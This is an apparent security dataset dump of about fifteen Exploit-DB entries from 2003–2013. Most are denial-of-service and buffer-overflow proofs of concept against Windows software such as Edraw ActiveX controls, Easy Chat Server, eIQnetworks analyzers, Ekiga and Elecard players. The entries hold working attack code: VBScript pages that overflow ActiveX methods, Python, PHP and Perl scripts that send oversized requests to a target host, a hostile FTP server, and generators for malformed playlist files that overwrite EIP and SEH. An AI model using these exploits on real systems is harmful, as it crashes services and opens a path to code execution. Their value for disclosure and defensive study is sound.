deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36662
Description: Edraw Diagram Component 5 - ActiveX Control 'LicenseName()' Method Buffer Overflow
Type: dos
Platform: windows
Date: 2012-02-06
Author: Senator of Pirates

Exploit:
source: https://www.securityfocus.com/bid/51866/info

Edraw Diagram Component ActiveX control ('EDBoard.ocx') is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code in the context of the application, usually Internet Explorer, using the ActiveX control. Failed attacks will likely cause denial-of-service conditions.

Edraw Diagram Component 5 is vulnerable; other versions may also be affected. 

Author : Senator of Pirates
This exploit tested on Windows Xp SP3 EN
http://www.edrawsoft.com/download/EDBoardSetup.exe
--------------------------------------------------------------------------------------------------------
<object
classid='clsid:6116A7EC-B914-4CCE-B186-66E0EE7067CF' id='target' /> <script language='vbscript'>targetFile = "C:\Program Files\edboard\EDBoard.ocx"
prototype  = "Invoke_Unknown LicenseName As String"
memberName = "LicenseName"
progid     = "EDBoardLib.EDBoard"
argCount   = 1
arg1=String(3092, "A")
target.LicenseName = arg1</script>
Exploit-DB #12341
Description: EDraw Flowchart ActiveX Control 2.3 - 'EDImage.ocx' Remote Denial of Service (IE)
Type: dos
Platform: windows
Date: 2010-04-22
Author: LiquidWorm

Exploit:
######################


 EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)


 Vendor: EdrawSoft - http://www.edrawsoft.com

 Platform Used: MS Win XP Pro SP3 (en) / IE 8.0


 CompanyName		EDrawSoft
 FileDescription	EDraw Flowchart ActiveX Control Module
 FileVersion		2, 3, 0, 6
 InternalName		EDrawSoft
 LegalCopyright		Copyright (C) 2005
 OriginalFileName	EDImage.OCX
 ProductName		EDraw Flowchart ActiveX Control Module
 ProductVersion		2, 3, 0, 6

 Report for Clsid: {F685AFD8-A5CC-410E-98E4-BAA1C559BA61}
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False


 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

 Zero Science Lab - http://www.zeroscience.mk

 liquidworm gmail com



 18.04.2010


 Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4936.php


######################


 <object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='thricer' />
 <script language='vbscript'>

 targetFile = "C:\PROGRA~1\EDIMAG~1\EDImage.ocx"
 prototype  = "Function OpenDocument ( ByVal filename As String ) As Boolean"
 memberName = "OpenDocument"
 progid     = "EDIMAGELib.EDImage"
 argCount   = 1

 arg1=String(4444, "J")

 thricer.OpenDocument arg1 

 </script>
Exploit-DB #4009
Description: EDraw Office Viewer Component - Denial of Service
Type: dos
Platform: windows
Date: 2007-05-30
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
---------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(1000, "A")

  test.HttpDownloadFile buff, "Default"

 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]
Exploit-DB #4373
Description: EDraw Office Viewer Component 5.2 - ActiveX Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-09-07
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
 Remote Buffer Overflow</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 Even this time, shinnai is not credited for bug finding but they wrote:
 "3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
  to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
  Now the component can only download the file to .Internet temporary file directory\OA\..
  <b>So anybody can.t use the method to download a file then conver a good system file.</b>"

 mmm... sure but, guys, take a look to SEH chain and you'll find this:

 <b>SEH chain of thread 000011A0, item 0
  Address=0172F284
  SE handler=iexplore.00410041

 SEH chain of thread 000011A0, item 1
  Address=00410041
  SE handler=00844E79</b>

 do you know what I mean ;)

 P.S.
 encrease the number of buffer to see everything freezed
--------------------------------------------------------------------------------------------------------------


<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(8212,"A")
  test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-09-07]
Exploit-DB #4474
Description: EDraw Office Viewer Component 5.3 - 'FtpDownloadFile()' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2007-10-01
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EDraw Office Viewer Component 5.3 "FtpDownloadFile()" Remote BoF</b>
 url: http://www.ocxt.com/officeviewer.php

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: True
 RegkeySafe for Init: True
 KillBitSet: False</b>

 <b>SEH chain:
 SEH chain of thread 00001EE4, item 0
  Address=0219F284
  SE handler=IEXPLORE.00410041

 SEH chain of thread 00001EE4, item 1
  Address=00410041
  SE handler=IEXPLORE.00426AA4</b>

-----------------------------------------------------------------------------
<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff = String(25000, "A")
  test.FtpDownloadFile buff, buff
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-01]
Exploit-DB #4289
Description: EFS Easy Chat Server 2.2 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-08-14
Author: NetJackal

Exploit:
<?php

##########################################################
###----------------------------------------------------###
###--------Easy Chat Server Remote DoS Exploit---------###
###----------------------------------------------------###
###-http://www.echatserver.com/------------------------###
###----------------------------------------------------###
###-Tested on version 2.2 [last version]-(XP SP2)------###
###----------------------------------------------------###
###-Usage:-php dos.php [TARGET] [PORT]-----------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

/*
Description:
 Easy Chat Server has built-in web server let users
login to chat server. Login page allow Max 30 characters
length for Name & Password. If attacker inserts a long Name &
Password by editing or make his own login page, chat server
will crash.
*/
echo "Easy Chat Server Remote DoS Exploit\n\t\t\t\tby NetJackal";
if($argc<2)die("\nUsage:   php dos.php [TARGET] [PORT]\nExample: php dos.php localhost 80\n");
$host=$argv[1];
$port=$argv[2];
$A=str_repeat('A',999);
echo "\nConnecting...";
$link=fsockopen($host,$port,$en,$es,30);
if(!$link)die("\n$en: $es");
echo "\nConnected!";
echo "\nSending exploit...";
fputs($link,"GET /chat.ghp?username=$A&[CREDENTIAL_REDACTED]=1&sex=2 HTTP/1.1\r\nHost: $host\r\n\r\n");
echo "\nWell done!\n";
?>

# milw0rm.com [2007-08-14]
Exploit-DB #29850
Description: eIQnetworks Enterprise Security Analyzer 2.5 - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2007-04-12
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/23454/info

eIQnetworks Enterprise Security Analyzer is prone to multiple buffer-overflow vulnerabilities because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

Exploiting these issues allows remote attackers to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Enterprise Security Analyzer 2.5 is reported vulnerable; other versions may also be affected. 

- DELETESEARCHFOLDER : [DELETESEARCHFOLDER&A x 40000...&]
- DELTASK: [DELTASK&A x 3000...&current&test&]
- HMGR_CHECKHOSTSCSV: [ HMGR_CHECKHOSTSCSV&A x 80000...&]
- TASKUPDATEDUSER: [TASKUPDATEDUSER&A x 60000...&test&test&]
- VERIFYUSERKEY: [VERIFYUSERKEY&A x 13000...&Administrator&127.0.0.1&12345]
- VERIFYPWD: [VERIFYPWD&A x 6000...&admin&adminpass&]
Exploit-DB #3112
Description: eIQnetworks Network Security Analyzer - Null Pointer Dereference
Type: dos
Platform: windows
Date: 2007-01-10
Author: Ethan Hunt

Exploit:
#!c:\python\python.exe
# uncomment whichever function youd like. theyll all crash in a similar way.

# Any of the following "function names" will cause the service to throw an access violation 
# while dereferencing the return value from a call to FindIndex 
# ( http://msdn2.microsoft.com/de-de/library/a93550bb(VS.80).aspx):

# Ethan Hunt <m34r\[@\]hackermail.com>

import socket

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(('192.168.1.101', 10618))

print "[*] connected"

s.send("&CONNECTSERVER&")
#s.send("&ADDENTRY&")
#s.send("&FIN&")
#s.send("&START&")
#s.send("&LOGPATH&")
#s.send("&FWADELTA&")
#s.send("&FWALOG&")
#s.send("&SETSYNCHRONOUS&")
#s.send("&SETPRGFILE&")
#s.send("&SETREPLYPORT&")

print "disconnecting."

s.close()

# milw0rm.com [2007-01-10]
Exploit-DB #9241
Description: Ekiga 2.0.5 - 'GetHostAddress' Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-07-24
Author: Jose Miguel Esparza

Exploit:
#!/usr/bin/env python
#
# Ekiga GetHostAddress Remote Denial of Service Vulnerability (CVE-2007-4897)
#
# ekiga207_dos.py by Jose Miguel Esparza
# 2007-09-11 S21sec labs

import sys,socket

if len(sys.argv) != 3: 
	sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
		   "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
		   "Contact:sip:pepe@172.91.1.133:5060\r\n"+\
		   "Content-Length:417\r\n"+\
		   "Content-Type:application/sdp\r\n"+\
		   "CSeq:4321 INVITE\r\n"+\
		   "From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
		   "Max-Forwards:70\r\n"+\
         "To:sip:paco@micasa.com\r\n"+\
         "Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"		 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

# milw0rm.com [2009-07-24]
Exploit-DB #7942
Description: Elecard AVC HD player - '.m3u' / '.xpl' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-02
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl
#Elecard AVC HD PLAYER m3u/xpl file Local Stack Overflow POC
#Found By AlpHaNiX
#From NullArea.Net
###########################
#    proof of concept    
###########################
#Stack Get Overflowed Starting from 2353 char
#EIP overitten
#------------------
#     REGISTRES   
#------------------
#EAX 00000000
#ECX 41414141
#EDX 775A104D ntdll.775A104D
#EBX 00000000
#ESP 0012BC9C
#EBP 0012BCBC
#ESI 00000000
#EDI 00000000
#EIP 41414141
#------------------
#  Dump From Stack
#------------------
#0012D000   41414141
#0012D004   41414141
#0012D008   41414141
#0012D00C   41414141
#0012D010   41414141
#0012D014   41414141
#0012D018   41414141
#0012D01C   41414141
#0012D020   41414141
#0012D024   41414141
#0012D028   41414141

my $file = "alpix.m3u" ;
my $poc="http://"."A" x 2353 ;
open(alpix, ">>$file") or die "Cannot open $file";
print alpix $poc;
close(alpix);
print "\n[+] done ! , $file created";

# milw0rm.com [2009-02-02]
Exploit-DB #38498
Description: Elecard MPEG Player - '.m3u' File Buffer Overflow
Type: dos
Platform: windows
Date: 2013-04-27
Author: metacom

Exploit:
source: https://www.securityfocus.com/bid/59534/info

Elecard MPEG Player is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Elecard MPEG Player 5.8 is vulnerable; other versions may also be affected. 

#!/usr/bin/python 
# Exploit Title:Elecard MPEG Player 5.8 Local PoC 
# Download link :www.elecard.com/assets/files/distribs/mpeg-player/EMpgPlayer.zip
# Product: Vulnerable
# Elecard MPEG Player,Elecard AVC HD Player
# RST
# Date (found): 27.04.2013
# Date (publish): 27.04.2013
# Author: metacom
# version:5.8.121004
# Category: poc
# Tested on: windows 7 German  

head="#EXTM3U\n"
head+="#EXTINF:153,Artist - song\n"
filename= "elecard.m3u"

buffer= "\x41" * 783
buffer+="\x42" * 4 
buffer+="\x43" * 4
buffer+="\x44" * 25000

textfile = open(filename , 'w')
textfile.write(head+buffer)
textfile.close()
Exploit-DB #7637
Description: Elecard MPEG Player 5.5 - '.m3u' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-01
Author: aBo MoHaMeD

Exploit:
#!/usr/bin/perl -w

########################################################################
#Program  : Elecard MPEG Player                                       
#Version  : 5.5 build 15884.081218                                    
#website  : http://www.elecard.com/download/index.php                   
#Download : http://www.elecard.com/ftp/pub/mpeg/player/EMpgPlayer.zip 
#Type     :  * (.M3U) Buffer Overflow POC                             
########################################################################

#EAX 00000000
#ECX 41414141
#EDX 7C9037D8 ntdll.7C9037D8
#EBX 00000000
#ESP 0012BE40
#EBP 0012BE60
#ESI 00000000
#EDI 00000000
#EIP 41414141
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 1  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDF000(FFF)
#T 0  GS 0000 NULL
#D 0
#O 0
#EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE)
#MM0 0020 0202 0000 001B
#MM1 015A F2BC 8986 2BC0
#MM2 011C 0000 4020 027F
#MM3 0000 0000 804D A735
#MM4 BADB 0D00 BF83 15E6
#MM5 8A1B EAB8 0000 0005
#MM6 [PII_REDACTED]
#MM7 D1B7 1758 E219 6000




my $file="boom.m3u";


open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 72850;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-01]
Exploit-DB #16237
Description: Elecard MPEG Player 5.7 - Local Buffer Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2011-02-24
Author: badc0re

Exploit:
#!/usr/bin/python
#
#
# Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)
#
#
# Vendor: Elecard Group
# Product web page: http://www.elecard.com
# Affected version: 5.7.100629
#
# Summary: Elecard MPEG Player is a high-quality full-featured multimedia 
# player supporting the newest formats, designed to provide you with 
# video and audio playback.
#
# Desc: The program suffers from a buffer overflow (SEH) vulnerability
# when opening playlist file (.m3u), as a result of adding extra bytes. 
#
#
# ---------------------------------------------------------------------
#
# (d08.33c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000104 ebx=000037bb ecx=0000002a edx=00000104 esi=0013c73c edi=0013ffff
# eip=0045563e esp=0013c6c0 ebp=0013cb14 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x5563e:
# 0045563e f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
# Missing image name, possible paged-out or corrupt data.
# Missing image name, possible paged-out or corrupt data.
# Missing image name, possible paged-out or corrupt data.
# 0:000> g
# (d08.33c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=44444444 edx=7c9032bc esi=00000000 edi=00000000
# eip=44444444 esp=0013c2f0 ebp=0013c310 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
# <Unloaded_i.dll>+0x44444443:
# 44444444 ??              ???
# 0:000> !exchain
# 0013c304: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 0013cb04: <Unloaded_i.dll>+44444443 (44444444)
# Invalid exception stack at 43434343
#
# ---------------------------------------------------------------------
#
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
#
# Vulnerability discovered by: badc0re (Dame Jovanoski)
#
#
# Advisory ID: ZSL-2011-4998
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2011-4998.php
#
# 24.02.2011
#
# Special Thanks to:
#
# LiquidWorm (the master :P)
# Corelanc0der(great tutorials and forum)
#


f=open("default5.m3u","w")
print "Creating expoit."
head="#EXTM3U\n"
head+="#EXTINF:153,Artist - song\n"
junk="\x42"*4
nseh="\x43"*4 
seh="\x44"*4 
junk1="\x41"*20165 

try:    
    f.write(head+junk1+nseh+seh+junk)
    f.close()
    print "File created"
except:
    print "File cannot be created"
Exploit-DB #22221
Description: Electrasoft 32Bit FTP 9.49.1 - Client Long Server Banner Buffer Overflow
Type: dos
Platform: windows
Date: 2003-02-04
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/6764/info

It has been reported that Electrasoft 32Bit FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
######################################################
#
# Affected systems:
# 32bit FTP Client version p9.49.01
# ByteCatcher FTP Client V1.04b
# Possible many other clients, got this problem to
#
# http://www.infowarfare.dk
#
# Dennis Rand - Matrix@infowarfare.dk
#
# When FTP client connects to this server they will CRASH
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
#
#
#
#######################################################
use IO::Socket;
$port = "21";
$data = "a";
$num = "4096";
$buf .= $data x $num;
$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";
while ($client = $server->accept()) {
print "Client connected.\n";
print "Attacking...";
print $client "$buf";
print "OK\n";
close($client);
}
Exploit-DB #7307
Description: Electronics Workbench - '.ewb' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-11-30
Author: Zigma

Exploit:
#!/usr/local/bin/perl 
#
#
# OOO OOO             OO                            OOO                                
#  O   O               O                           O   O
#  O   O               O                           O   O
#  O   O  OO OO    OOOOO   OOOOO  OOO OO  OOOOOO   O   O  OO OO    OOOOO
#  O   O   OO  O  O    O  O     O   OO  O O   O    O   O   OO  O  O     O
#  O   O   O   O  O    O  OOOOOOO   O        O     O   O   O   O  OOOOOOO
#  O   O   O   O  O    O  O         O       O      O   O   O   O  O
#  O   O   O   O  O    O  O     O   O      O   O   O   O   O   O  O     O
#   OOO   OOO OOO  OOOOOO  OOOOO  OOOOO   OOOOOO    OOO   OOO OOO  OOOOO                                                                                        
#
# [+] Application               : Electronics Workbench
# 
# [+] Application's Description : (" Electronics Workbench sets the standard for affordable simulators.
#                                    The tight integration of its schematic editor, SPICE simulator and
#                                    on-screen waveforms makes what-if scenarios easy and instant.
#                                    The exceptional features of this latest release will come as no
#                                    surprise to our 80,000 previous customers. Value, power and ease of
#                                    use are what Electronics Workbench has always stood for.")
#                                    
# [+] Bug                       : Local .EWB File Stack Buffer Overflow (PoC)
# 
# [+] Author                    : Underz0ne Crew
#                                 Zigma
#
# I just got the program from my Elctronic's professor , Instead of simulating my homework I fuzzed it , I think I m geek :S , whatever 
#
$filename = "fuzz.ewb";

$overflow = "A" x 10000;

print "\n\n[+] Evil file to fuzz : $filename ...\r\n";
sleep(2);

open(ewb, ">./$filename") || die "\nCannot open $filename: $!";

print ewb "$overflow";

close (ewb);

print "\n[+]  file successfully created!\r\n";

# milw0rm.com [2008-11-30]